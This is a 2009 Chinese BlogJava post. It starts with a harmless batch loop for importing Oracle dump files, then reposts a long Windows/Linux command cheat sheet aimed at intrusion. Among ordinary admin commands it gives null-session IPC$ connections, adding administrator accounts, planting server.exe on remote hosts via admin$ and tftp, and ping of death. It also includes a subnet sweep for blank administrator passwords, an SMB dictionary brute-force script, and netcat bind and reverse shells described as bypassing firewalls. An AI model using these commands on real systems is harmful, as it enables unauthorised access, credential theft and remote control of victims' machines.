<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    J2EE學(xué)習(xí)筆記

    程序猿的軌跡

      BlogJava :: 首頁(yè) :: 聯(lián)系 :: 聚合  :: 管理
      7 Posts :: 0 Stories :: 1 Comments :: 0 Trackbacks

    2009年7月20日 #

       昨天是禮拜天,大清早就被一條信息吵醒,PP發(fā)來(lái)一條信息,說(shuō)他現(xiàn)在100+個(gè)dmp文件需要導(dǎo)入到數(shù)據(jù)庫(kù)中,一聽(tīng)這么多文件,怎么搞,難道一條一條sql腳本導(dǎo)入,那有多少個(gè)文件豈不是要寫(xiě)多少條sql語(yǔ)句,工作量說(shuō)起來(lái)也不是很大的樣子,拷貝粘貼改改文件名就可以了.......

      一般這條語(yǔ)句,隨便baidu一下都可以查到
      imp username/password@sid file="c:\filename.dmp" full=y ignore=y
      這樣子寫(xiě)100多條命令也可以導(dǎo),但是正常人都不可以接受
        
      只好寫(xiě)腳本了,基本分析了一下 就是把上面的語(yǔ)句中的文件名搞成一個(gè)變量,然后for循環(huán)取到文件就可以了
      baidu了一下嘗試寫(xiě)了一個(gè)語(yǔ)句
      @echo off
      for /r C:\dmp\ %%i in (*.dmp) do imp username/password@sid file=%%i full=y ignore=y
      pause
      我是在我本地c:\dmp\目錄下放了2個(gè)dmp文件,用這個(gè)腳本一下就導(dǎo)進(jìn)去了
      于是把這個(gè)腳本發(fā)給了PP,PP也跑了一下,結(jié)果引出了N的問(wèn)題,基本都是基本的Oracle配置問(wèn)題,慢慢解決,發(fā)現(xiàn)我對(duì)這些也無(wú)云里霧里的,但總算還是解決了這些問(wèn)題,終于可以導(dǎo)進(jìn)去了,本來(lái)100多條的語(yǔ)句就這樣被一條解決了,腳本的魅力實(shí)在是太吸引人了。

    今天在網(wǎng)上看到一個(gè)腳本的帖子,就拷過(guò)來(lái)和大家一起分享一下(我想作者應(yīng)該不會(huì)介意的):
          
    net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
    net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
    net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸后映射對(duì)方C:到本地為H:
    net use h: \\ip\c$ 登陸后映射對(duì)方C:到本地為H:
    net use \\ip\ipc$ /del 刪除IPC鏈接
    net use h: /del 刪除映射對(duì)方到本地的為H:的映射
    net user 用戶名 密碼 /add 建立用戶
    net user guest /active:yes 激活guest用戶
    net user 查看有哪些用戶
    net user 帳戶名 查看帳戶的屬性
    net localgroup administrators 用戶名 /add 把"用戶"添加到管理員中使其具有管理員權(quán)限,注意:administrator后加s用復(fù)數(shù)
    net start 查看開(kāi)啟了哪些服務(wù)
    net start 服務(wù)名  開(kāi)啟服務(wù);(如:net start telnet, net start schedule)
    net stop 服務(wù)名 停止某服務(wù)
    net time \\目標(biāo)ip 查看對(duì)方時(shí)間
    net time \\目標(biāo)ip /set 設(shè)置本地計(jì)算機(jī)時(shí)間與"目標(biāo)IP"主機(jī)的時(shí)間同步,加上參數(shù)/yes可取消確認(rèn)信息
    net view 查看本地局域網(wǎng)內(nèi)開(kāi)啟了哪些共享
    net view \\ip 查看對(duì)方局域網(wǎng)內(nèi)開(kāi)啟了哪些共享
    net config 顯示系統(tǒng)網(wǎng)絡(luò)設(shè)置
    net logoff 斷開(kāi)連接的共享
    net pause 服務(wù)名 暫停某服務(wù)
    net send ip "文本信息" 向?qū)Ψ桨l(fā)信息
    net ver 局域網(wǎng)內(nèi)正在使用的網(wǎng)絡(luò)連接類型和信息
    net share 查看本地開(kāi)啟的共享
    net share ipc$ 開(kāi)啟ipc$共享
    net share ipc$ /del 刪除ipc$共享
    net share c$ /del 刪除C:共享
    net user guest 12345 用guest用戶登陸后用將密碼改為12345
    net password 密碼 更改系統(tǒng)登陸密碼
    netstat -a 查看開(kāi)啟了哪些端口,常用netstat -an
    netstat -n 查看端口的網(wǎng)絡(luò)連接情況,常用netstat -an
    netstat -v 查看正在進(jìn)行的工作
    netstat -p 協(xié)議名 例:netstat -p tcq/ip 查看某協(xié)議使用情況(查看tcp/ip協(xié)議使用情況)
    netstat -s 查看正在使用的所有協(xié)議使用情況
    nbtstat -A ip 對(duì)方136到139其中一個(gè)端口開(kāi)了的話,就可查看對(duì)方最近登陸的用戶名(03前的為用戶名)-注意:參數(shù)-A要大寫(xiě)
    tracert -參數(shù) ip(或計(jì)算機(jī)名) 跟蹤路由(數(shù)據(jù)包),參數(shù):"-w數(shù)字"用于設(shè)置超時(shí)間隔。
    ping ip(或域名) 向?qū)Ψ街鳈C(jī)發(fā)送默認(rèn)大小為32字節(jié)的數(shù)據(jù),參數(shù):"-l[空格]數(shù)據(jù)包大小";"-n發(fā)送數(shù)據(jù)次數(shù)";"-t"指一直ping。
    ping -t -l 65550 ip 死亡之ping(發(fā)送大于64K的文件并一直ping就成了死亡之ping)
    ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數(shù)"/all"顯示全部配置信息
    tlist -t 以樹(shù)行列表顯示進(jìn)程(為系統(tǒng)的附加工具,默認(rèn)是沒(méi)有安裝的,在安裝目錄的Support/tools文件夾內(nèi))
    kill -F 進(jìn)程名 加-F參數(shù)后強(qiáng)制結(jié)束某進(jìn)程(為系統(tǒng)的附加工具,默認(rèn)是沒(méi)有安裝的,在安裝目錄的Support/tools文件夾內(nèi))
    del -F 文件名 加-F參數(shù)后就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統(tǒng)、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統(tǒng)、存檔以外的文件。例如"DEL/AR *.*"表示刪除當(dāng)前目錄下所有只讀文件,"DEL/A-S *.*"表示刪除當(dāng)前目錄下除系統(tǒng)文件以外的所有文件

    #2 二:

    del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時(shí)使用參數(shù)/Q 可取消刪除操作時(shí)的系統(tǒng)確認(rèn)就直接刪除。(二個(gè)命令作用相同)
    move 盤(pán)符\路徑\要移動(dòng)的文件名 存放移動(dòng)文件的路徑\移動(dòng)后文件名 移動(dòng)文件,用參數(shù)/y將取消確認(rèn)移動(dòng)目錄存在相同文件的提示就直接覆蓋
    fc one.txt two.txt > 3st.txt 對(duì)比二個(gè)文件并把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
    at id號(hào) 開(kāi)啟已注冊(cè)的某個(gè)計(jì)劃任務(wù)
    at /delete 停止所有計(jì)劃任務(wù),用參數(shù)/yes則不需要確認(rèn)就直接停止
    at id號(hào) /delete 停止某個(gè)已注冊(cè)的計(jì)劃任務(wù)
    at 查看所有的計(jì)劃任務(wù)
    at \\ip time 程序名(或一個(gè)命令) /r 在某時(shí)間運(yùn)行對(duì)方某程序并重新啟動(dòng)計(jì)算機(jī)
    finger username @host 查看最近有哪些用戶登陸
    telnet ip 端口 遠(yuǎn)和登陸服務(wù)器,默認(rèn)端口為23
    open ip 連接到IP(屬telnet登陸后的命令)
    telnet 在本機(jī)上直接鍵入telnet 將進(jìn)入本機(jī)的telnet
    copy 路徑\文件名1 路徑\文件名2 /y 復(fù)制文件1到指定的目錄為文件2,用參數(shù)/y就同時(shí)取消確認(rèn)你要改寫(xiě)一份現(xiàn)存目錄文件
    copy c:\srv.exe \\ip\admin$ 復(fù)制本地c:\srv.exe到對(duì)方的admin下
    cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內(nèi)容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件頭要空三排,參數(shù):/b指二進(jìn)制文件,/a指ASCLL格式文件
    copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 復(fù)制對(duì)方admini$共享下的srv.exe文件(所有文件)至本地C:
    xcopy 要復(fù)制的文件或目錄樹(shù) 目標(biāo)地址\目錄名 復(fù)制文件和目錄樹(shù),用參數(shù)/Y將不提示覆蓋相同文件
    tftp -i 自己IP(用肉機(jī)作跳板時(shí)這用肉機(jī)IP) get server.exe c:\server.exe 登陸后,將"IP"的server.exe下載到目標(biāo)主機(jī)c:\server.exe 參數(shù):-i指以二進(jìn)制模式傳送,如傳送exe文件時(shí)用,如不加-i 則以ASCII模式(傳送文本文件模式)進(jìn)行傳送
    tftp -i 對(duì)方IP put c:\server.exe 登陸后,上傳本地c:\server.exe至主機(jī)
    ftp ip 端口 用于上傳文件至服務(wù)器或進(jìn)行文件操作,默認(rèn)端口為21。bin指用二進(jìn)制方式傳送(可執(zhí)行文件進(jìn));默認(rèn)為ASCII格式傳送(文本文件時(shí))
    route print 顯示出IP路由,將主要顯示網(wǎng)絡(luò)地址Network addres,子網(wǎng)掩碼Netmask,網(wǎng)關(guān)地址Gateway addres,接口地址Interface
    arp 查看和處理ARP緩存,ARP是名字解析的意思,負(fù)責(zé)把一個(gè)IP解析成一個(gè)物理性的MAC地址。arp -a將顯示出全部信息
    start 程序名或命令 /max 或/min 新開(kāi)一個(gè)新窗口并最大化(最小化)運(yùn)行某程序或命令
    mem 查看cpu使用情況
    attrib 文件名(目錄名) 查看某文件(目錄)的屬性
    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統(tǒng),隱藏 屬性;用+則是添加為某屬性
    dir 查看文件,參數(shù):/Q顯示文件及目錄屬系統(tǒng)哪個(gè)用戶,/T:C顯示文件創(chuàng)建時(shí)間,/T:A顯示文件上次被訪問(wèn)時(shí)間,/T:W上次被修改時(shí)間
    date /t 、 time /t 使用此參數(shù)即"DATE/T"、"TIME/T"將只顯示當(dāng)前日期和時(shí)間,而不必輸入新日期和時(shí)間
    set 指定環(huán)境變量名稱=要指派給變量的字符 設(shè)置環(huán)境變量
    set 顯示當(dāng)前所有的環(huán)境變量
    set p(或其它字符) 顯示出當(dāng)前以字符p(或其它字符)開(kāi)頭的所有環(huán)境變量
    pause 暫停批處理程序,并顯示出:請(qǐng)按任意鍵繼續(xù)....
    if 在批處理程序中執(zhí)行條件處理(更多說(shuō)明見(jiàn)if命令及變量)
    goto 標(biāo)簽 將cmd.exe導(dǎo)向到批處理程序中帶標(biāo)簽的行(標(biāo)簽必須單獨(dú)一行,且以冒號(hào)打頭,例如:":start"標(biāo)簽)
    call 路徑\批處理文件名 從批處理程序中調(diào)用另一個(gè)批處理程序 (更多說(shuō)明見(jiàn)call /?)
    for 對(duì)一組文件中的每一個(gè)文件執(zhí)行某個(gè)特定命令(更多說(shuō)明見(jiàn)for命令及變量)
    echo on或off 打開(kāi)或關(guān)閉echo,僅用echo不加參數(shù)則顯示當(dāng)前echo設(shè)置
    echo 信息 在屏幕上顯示出信息
    echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
    findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello
    find 文件名 查找某文件
    title 標(biāo)題名字 更改CMD窗口標(biāo)題名字
    color 顏色值 設(shè)置cmd控制臺(tái)前景和背景顏色;0=黑、1=藍(lán)、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍(lán)、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
    prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統(tǒng)一改為:EntSky\ )

    #3 三:

    ver 在DOS窗口下顯示版本信息
    winver 彈出一個(gè)窗口顯示版本信息(內(nèi)存大小、系統(tǒng)版本、補(bǔ)丁版本、計(jì)算機(jī)名)
    format 盤(pán)符 /FS:類型 格式化磁盤(pán),類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
    md 目錄名 創(chuàng)建目錄
    replace 源文件 要替換文件的目錄 替換文件
    ren 原文件名 新文件名 重命名文件名
    tree 以樹(shù)形結(jié)構(gòu)顯示出目錄,用參數(shù)-f 將列出第個(gè)文件夾中文件名稱
    type 文件名 顯示文本文件的內(nèi)容
    more 文件名 逐屏顯示輸出文件
    doskey 要鎖定的命令=字符
    doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調(diào)用win2k命令,并創(chuàng)建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
    taskmgr 調(diào)出任務(wù)管理器
    chkdsk /F D: 檢查磁盤(pán)D并顯示狀態(tài)報(bào)告;加參數(shù)/f并修復(fù)磁盤(pán)上的錯(cuò)誤
    tlntadmn telnt服務(wù)admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務(wù)默認(rèn)端口23為其它任何端口
    exit 退出cmd.exe程序或目前,用參數(shù)/B則是退出當(dāng)前批處理腳本而不是cmd.exe
    path 路徑\可執(zhí)行文件的文件名 為可執(zhí)行文件設(shè)置一個(gè)路徑。
    cmd 啟動(dòng)一個(gè)win2K命令解釋窗口。參數(shù):/eff、/en 關(guān)閉、開(kāi)啟命令擴(kuò)展;更我詳細(xì)說(shuō)明見(jiàn)cmd /?
    regedit /s 注冊(cè)表文件名 導(dǎo)入注冊(cè)表;參數(shù)/S指安靜模式導(dǎo)入,無(wú)任何提示;
    regedit /e 注冊(cè)表文件名 導(dǎo)出注冊(cè)表
    cacls 文件名 參數(shù) 顯示或修改文件訪問(wèn)控制列表(ACL)——針對(duì)NTFS格式時(shí)。參數(shù):/D 用戶名:設(shè)定拒絕某用戶訪問(wèn);/P 用戶名:perm 替換指定用戶的訪問(wèn)權(quán)限;/G 用戶名:perm 賦予指定用戶訪問(wèn)權(quán)限;Perm 可以是: N 無(wú),R 讀取, W 寫(xiě)入, C 更改(寫(xiě)入),F(xiàn) 完全控制;例:cacls D:\test.txt /D pub 設(shè)定d:\test.txt拒絕pub用戶訪問(wèn)。
    cacls 文件名 查看文件的訪問(wèn)用戶權(quán)限列表
    REM 文本內(nèi)容 在批處理文件中添加注解
    netsh 查看或更改本地網(wǎng)絡(luò)配置情況

    #4 四:

    IIS服務(wù)命令:
    iisreset /reboot 重啟win2k計(jì)算機(jī)(但有提示系統(tǒng)將重啟信息出現(xiàn))
    iisreset /start或stop 啟動(dòng)(停止)所有Internet服務(wù)
    iisreset /restart 停止然后重新啟動(dòng)所有Internet服務(wù)
    iisreset /status 顯示所有Internet服務(wù)狀態(tài)
    iisreset /enable或disable 在本地系統(tǒng)上啟用(禁用)Internet服務(wù)的重新啟動(dòng)
    iisreset /rebootonerror 當(dāng)啟動(dòng)、停止或重新啟動(dòng)Internet服務(wù)時(shí),若發(fā)生錯(cuò)誤將重新開(kāi)機(jī)
    iisreset /noforce 若無(wú)法停止Internet服務(wù),將不會(huì)強(qiáng)制終止Internet服務(wù)
    iisreset /timeout Val在到達(dá)逾時(shí)間(秒)時(shí),仍未停止Internet服務(wù),若指定/rebootonerror參數(shù),則電腦將會(huì)重新開(kāi)機(jī)。預(yù)設(shè)值為重新啟動(dòng)20秒,停止60秒,重新開(kāi)機(jī)0秒。
    FTP 命令: (后面有詳細(xì)說(shuō)明內(nèi)容)
    ftp的命令行格式為:
    ftp -v -d -i -n -g[主機(jī)名] -v 顯示遠(yuǎn)程服務(wù)器的所有響應(yīng)信息。
    -d 使用調(diào)試方式。
    -n 限制ftp的自動(dòng)登錄,即不使用.netrc文件。
    -g 取消全局文件名。
    help [命令] 或 ?[命令] 查看命令說(shuō)明
    bye 或 quit 終止主機(jī)FTP進(jìn)程,并退出FTP管理方式.
    pwd 列出當(dāng)前遠(yuǎn)端主機(jī)目錄
    put 或 send 本地文件名 [上傳到主機(jī)上的文件名] 將本地一個(gè)文件傳送至遠(yuǎn)端主機(jī)中
    get 或 recv [遠(yuǎn)程主機(jī)文件名] [下載到本地后的文件名] 從遠(yuǎn)端主機(jī)中傳送至本地主機(jī)中
    mget [remote-files] 從遠(yuǎn)端主機(jī)接收一批文件至本地主機(jī)
    mput local-files 將本地主機(jī)中一批文件傳送至遠(yuǎn)端主機(jī)
    dir 或 ls [remote-directory] [local-file] 列出當(dāng)前遠(yuǎn)端主機(jī)目錄中的文件.如果有本地文件,就將結(jié)果寫(xiě)至本地文件
    ascii 設(shè)定以ASCII方式傳送文件(缺省值)
    bin 或 image 設(shè)定以二進(jìn)制方式傳送文件
    bell 每完成一次文件傳送,報(bào)警提示
    cdup 返回上一級(jí)目錄
    close 中斷與遠(yuǎn)程服務(wù)器的ftp會(huì)話(與open對(duì)應(yīng))
    open host[port] 建立指定ftp服務(wù)器連接,可指定連接端口
    delete 刪除遠(yuǎn)端主機(jī)中的文件
    mdelete [remote-files] 刪除一批文件
    mkdir directory-name 在遠(yuǎn)端主機(jī)中建立目錄
    rename [from] [to] 改變遠(yuǎn)端主機(jī)中的文件名
    rmdir directory-name 刪除遠(yuǎn)端主機(jī)中的目錄
    status 顯示當(dāng)前FTP的狀態(tài)
    system 顯示遠(yuǎn)端主機(jī)系統(tǒng)類型
    user user-name [password] [account] 重新以別的用戶名登錄遠(yuǎn)端主機(jī)
    open host [port] 重新建立一個(gè)新的連接
    prompt 交互提示模式
    macdef 定義宏命令
    lcd 改變當(dāng)前本地主機(jī)的工作目錄,如果缺省,就轉(zhuǎn)到當(dāng)前用戶的HOME目錄
    chmod 改變遠(yuǎn)端主機(jī)的文件權(quán)限
    case 當(dāng)為ON時(shí),用MGET命令拷貝的文件名到本地機(jī)器中,全部轉(zhuǎn)換為小寫(xiě)字母
    cd remote-dir 進(jìn)入遠(yuǎn)程主機(jī)目錄
    cdup 進(jìn)入遠(yuǎn)程主機(jī)目錄的父目錄
    ! 在本地機(jī)中執(zhí)行交互shell,exit回到ftp環(huán)境,如!ls*.zip

    #5 五:

    MYSQL 命令:
    mysql -h主機(jī)地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級(jí)用戶root是沒(méi)有密碼的。
    (例:mysql -h110.110.110.110 -Uroot -P123456
    注:u與root可以不用加空格,其它也一樣)
    exit 退出MYSQL
    mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
    grant select on 數(shù)據(jù)庫(kù).* to 用戶名@登錄主機(jī) identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因?yàn)槭荕YSQL環(huán)境中的命令,所以后面都帶一個(gè)分號(hào)作為命令結(jié)束符)
    show databases; 顯示數(shù)據(jù)庫(kù)列表。剛開(kāi)始時(shí)才兩個(gè)數(shù)據(jù)庫(kù):mysql和test。mysql庫(kù)很重要它里面有MYSQL的系統(tǒng)信息,我們改密碼和新增用戶,實(shí)際上就是用這個(gè)庫(kù)進(jìn)行操作。
    use mysql;
    show tables; 顯示庫(kù)中的數(shù)據(jù)表
    describe 表名; 顯示數(shù)據(jù)表的結(jié)構(gòu)
    create database 庫(kù)名; 建庫(kù)
    use 庫(kù)名;
    create table 表名 (字段設(shè)定列表); 建表
    drop database 庫(kù)名;
    drop table 表名; 刪庫(kù)和刪表
    delete from 表名; 將表中記錄清空
    select * from 表名; 顯示表中的記錄
    mysqldump --opt school>school.bbb 備份數(shù)據(jù)庫(kù):(命令在DOS的\\mysql\\bin目錄下執(zhí)行);注釋:將數(shù)據(jù)庫(kù)school備份到school.bbb文件,school.bbb是一個(gè)文本文件,文件名任取,打開(kāi)看看你會(huì)有新發(fā)現(xiàn)。
    win2003系統(tǒng)下新增命令(實(shí)用部份):
    shutdown /參數(shù) 關(guān)閉或重啟本地或遠(yuǎn)程主機(jī)。
    參數(shù)說(shuō)明:/S 關(guān)閉主機(jī),/R 重啟主機(jī), /T 數(shù)字 設(shè)定延時(shí)的時(shí)間,范圍0~180秒之間, /A取消開(kāi)機(jī),/M //IP 指定的遠(yuǎn)程主機(jī)。
    例:shutdown /r /t 0 立即重啟本地主機(jī)(無(wú)延時(shí))
    taskill /參數(shù) 進(jìn)程名或進(jìn)程的pid 終止一個(gè)或多個(gè)任務(wù)和進(jìn)程。
    參數(shù)說(shuō)明:/PID 要終止進(jìn)程的pid,可用tasklist命令獲得各進(jìn)程的pid,/IM 要終止的進(jìn)程的進(jìn)程名,/F 強(qiáng)制終止進(jìn)程,/T 終止指定的進(jìn)程及他所啟動(dòng)的子進(jìn)程。
    tasklist 顯示當(dāng)前運(yùn)行在本地和遠(yuǎn)程主機(jī)上的進(jìn)程、服務(wù)、服務(wù)各進(jìn)程的進(jìn)程標(biāo)識(shí)符(PID)。
    參數(shù)說(shuō)明:/M 列出當(dāng)前進(jìn)程加載的dll文件,/SVC 顯示出每個(gè)進(jìn)程對(duì)應(yīng)的服務(wù),無(wú)參數(shù)時(shí)就只列出當(dāng)前的進(jìn)程。

    #6 六:

    Linux系統(tǒng)下基本命令: 要區(qū)分大小寫(xiě)
    uname 顯示版本信息(同win2K的 ver)
    dir 顯示當(dāng)前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
    pwd 查詢當(dāng)前所在的目錄位置
    cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
    cat 文件名 查看文件內(nèi)容
    cat >abc.txt 往abc.txt文件中寫(xiě)上內(nèi)容。
    more 文件名 以一頁(yè)一頁(yè)的方式顯示一個(gè)文本文件。
    cp 復(fù)制文件
    mv 移動(dòng)文件
    rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
    mkdir 目錄名 建立目錄
    rmdir 刪除子目錄,目錄內(nèi)沒(méi)有文檔。
    chmod 設(shè)定檔案或目錄的存取權(quán)限
    grep 在檔案中查找字符串
    diff 檔案文件比較
    find 檔案搜尋
    date 現(xiàn)在的日期、時(shí)間
    who 查詢目前和你使用同一臺(tái)機(jī)器的人以及Login時(shí)間地點(diǎn)
    w 查詢目前上機(jī)者的詳細(xì)資料
    whoami 查看自己的帳號(hào)名稱
    groups 查看某人的Group
    passwd 更改密碼
    history 查看自己下過(guò)的命令
    ps 顯示進(jìn)程狀態(tài)
    kill 停止某進(jìn)程
    gcc 黑客通常用它來(lái)編譯C語(yǔ)言寫(xiě)的文件
    su 權(quán)限轉(zhuǎn)換為指定使用者
    telnet IP telnet連接對(duì)方主機(jī)(同win2K),當(dāng)出現(xiàn)bash$時(shí)就說(shuō)明連接成功。
    ftp ftp連接上某服務(wù)器(同win2K)

    附:批處理命令與變量

    1:for命令及變量 基本格式:
    FOR /參數(shù) %variable IN (set) DO command [command_parameters] %variable:指定一個(gè)單一字母可替換的參數(shù),如:%i ,而指定一個(gè)變量則用:%%i ,而調(diào)用變量時(shí)用:%i% ,變量是區(qū)分大小寫(xiě)的(%i 不等于 %I)。
    批處理每次能處理的變量從%0—%9共10個(gè),其中%0默認(rèn)給批處理文件名使用,%1默認(rèn)為使用此批處理時(shí)輸入的的第一個(gè)值,同理:%2—%9指輸入的第2-9個(gè)值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

    (set):指定一個(gè)或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ "(1 1 254)"第一個(gè)"1"指起始值,第二個(gè)"1"指增長(zhǎng)量,第三個(gè)"254"指結(jié)束值,即:從1到254;"(1 -1 254)"說(shuō)明:即從254到1 }

    command:指定對(duì)第個(gè)文件執(zhí)行的命令,如:net use命令;如要執(zhí)行多個(gè)命令時(shí),命令這間加:& 來(lái)隔開(kāi)
    command_parameters:為特定命令指定參數(shù)或命令行開(kāi)關(guān)

    IN (set):指在(set)中取值;DO command :指執(zhí)行command

    參數(shù):/L 指用增量形式{ (set)為增量形式時(shí) };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時(shí),如(d:\pass.txt)時(shí) }。
    用法舉例:
    @echo off
    echo 用法格式:test.bat *.*.* > test.txt

    for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
    存為test.bat 說(shuō)明:對(duì)指定的一個(gè)C類網(wǎng)段的254個(gè)IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

    /L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認(rèn)的 %1;%%G 為變量(ip的最后一位);& 用來(lái)隔開(kāi)echo 和net use 這二個(gè)命令;| 指建立了ipc$后,在結(jié)果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長(zhǎng)量,結(jié)止值。
    @echo off
    echo 用法格式:ok.bat ip
    FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
    存為:ok.exe 說(shuō)明:輸入一個(gè)IP后,用字典文件d:\pass.dic來(lái)暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認(rèn))。

    #7 七:

    2:if命令及變量 基本格式:
    IF [not] errorlevel 數(shù)字 命令語(yǔ)句 如果程序運(yùn)行最后返回一個(gè)等于或大于指定數(shù)字的退出編碼,指定條件為"真"。
    例:IF errorlevel 0 命令 指程序執(zhí)行后返回的值為0時(shí),就值行后面的命令;IF not errorlevel 1 命令指程序執(zhí)行最后返回的值不等于1,就執(zhí)行后面的命令。
    0 指發(fā)現(xiàn)并成功執(zhí)行(真);1 指沒(méi)有發(fā)現(xiàn)、沒(méi)執(zhí)行(假)。
    IF [not] 字符串1==字符串2 命令語(yǔ)句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就執(zhí)行后面的命令。
    例:"if "%2%"=="4" goto start"指:如果輸入的第二個(gè)變量為4時(shí),執(zhí)行后面的命令(注意:調(diào)用變量時(shí)就%變量名%并加" ")
    IF [not] exist 文件名 命令語(yǔ)句 如果指定的文件名存在,就執(zhí)行后面的命令。
    例:"if not nc.exe goto end"指:如果沒(méi)有發(fā)現(xiàn)nc.exe文件就跳到":end"標(biāo)簽處。
    IF [not] errorlevel 數(shù)字 命令語(yǔ)句 else 命令語(yǔ)句或 IF [not] 字符串1==字符串2 命令語(yǔ)句 else 命令語(yǔ)句或 IF [not] exist 文件名 命令語(yǔ)句 else 命令語(yǔ)句 加上:else 命令語(yǔ)句后指:當(dāng)前面的條件不成立時(shí),就指行else后面的命令。注意:else 必須與 if 在同一行才有效。 當(dāng)有del命令時(shí)需把del命令全部?jī)?nèi)容用< >括起來(lái),因?yàn)閐el命令要單獨(dú)一行時(shí)才能執(zhí)行,用上< >后就等于是單獨(dú)一行了;例如:"if exist test.txt. else echo test.txt.missing ",注意命令中的"."


    (二)系統(tǒng)外部命令(均需下載相關(guān)工具):

    1、瑞士軍刀:nc.exe

    參數(shù)說(shuō)明:
    -h 查看幫助信息
    -d 后臺(tái)模式
    -e prog程序重定向,一但連接就執(zhí)行[危險(xiǎn)]
    -i secs延時(shí)的間隔
    -l 監(jiān)聽(tīng)模式,用于入站連接
    -L 監(jiān)聽(tīng)模式,連接天閉后仍然繼續(xù)監(jiān)聽(tīng),直到CTR+C
    -n IP地址,不能用域名
    -o film記錄16進(jìn)制的傳輸
    -p[空格]端口 本地端口號(hào)
    -r 隨機(jī)本地及遠(yuǎn)程端口
    -t 使用Telnet交互方式
    -u UDP模式
    -v 詳細(xì)輸出,用-vv將更詳細(xì)
    -w數(shù)字 timeout延時(shí)間隔
    -z 將輸入,輸出關(guān)掉(用于掃錨時(shí))
    基本用法:
    nc -nvv 192.168.0.1 80 連接到192.168.0.1主機(jī)的80端口
    nc -l -p 80 開(kāi)啟本機(jī)的TCP 80端口并監(jiān)聽(tīng)
    nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024端口
    nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機(jī)的cmdshell在remote的TCP 5354端口
    nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機(jī)的cmdshell并反向連接192.168.0.2的5354端口
    高級(jí)用法:
    nc -L -p 80 作為蜜罐用1:開(kāi)啟并不停地監(jiān)聽(tīng)80端口,直到CTR+C為止
    nc -L -p 80 > c:\log.txt 作為蜜罐用2:開(kāi)啟并不停地監(jiān)聽(tīng)80端口,直到CTR+C,同時(shí)把結(jié)果輸出到c:\log.txt
    nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開(kāi)啟并不停地監(jiān)聽(tīng)80端口,直到CTR+C,并把c:\honeyport.txt中內(nèi)容送入管道中,亦可起到傳送文件作用
    type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開(kāi)啟并不停地監(jiān)聽(tīng)80端口,直到CTR+C,并把c:\honeyport.txt中內(nèi)容送入管道中,亦可起到傳送文件作用
    本機(jī)上用:nc -l -p 本機(jī)端口
    在對(duì)方主機(jī)上用:nc -e cmd.exe 本機(jī)IP -p 本機(jī)端口 *win2K
    nc -e /bin/sh 本機(jī)IP -p 本機(jī)端口 *linux,unix 反向連接突破對(duì)方主機(jī)的防火墻
    本機(jī)上用:nc -d -l -p 本機(jī)端口 < 要傳送的文件路徑及名稱
    在對(duì)方主機(jī)上用:nc -vv 本機(jī)IP 本機(jī)端口 > 存放文件的路徑及名稱 傳送文件到對(duì)方主機(jī)
    備 注:
    | 管道命令
    < 或 > 重定向命令。"<",例如:tlntadmn < test.txt 指把test.txt的內(nèi)容賦值給tlntadmn命令
    @ 表示執(zhí)行@后面的命令,但不會(huì)顯示出來(lái)(后臺(tái)執(zhí)行);例:@dir c:\winnt >> d:\log.txt 意思是:后臺(tái)執(zhí)行dir,并把結(jié)果存在d:\log.txt中
    >與>>的區(qū)別  ">"指:覆蓋;">>"指:保存到(添加到)。
    如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個(gè)命令分別執(zhí)行二次比較看:用>>的則是把二次的結(jié)果都保存了,而用:>則只有一次的結(jié)果,是因?yàn)榈诙蔚慕Y(jié)果把第一次的覆蓋了。

    #8 八:

    2、掃錨工具:xscan.exe

    基本格式
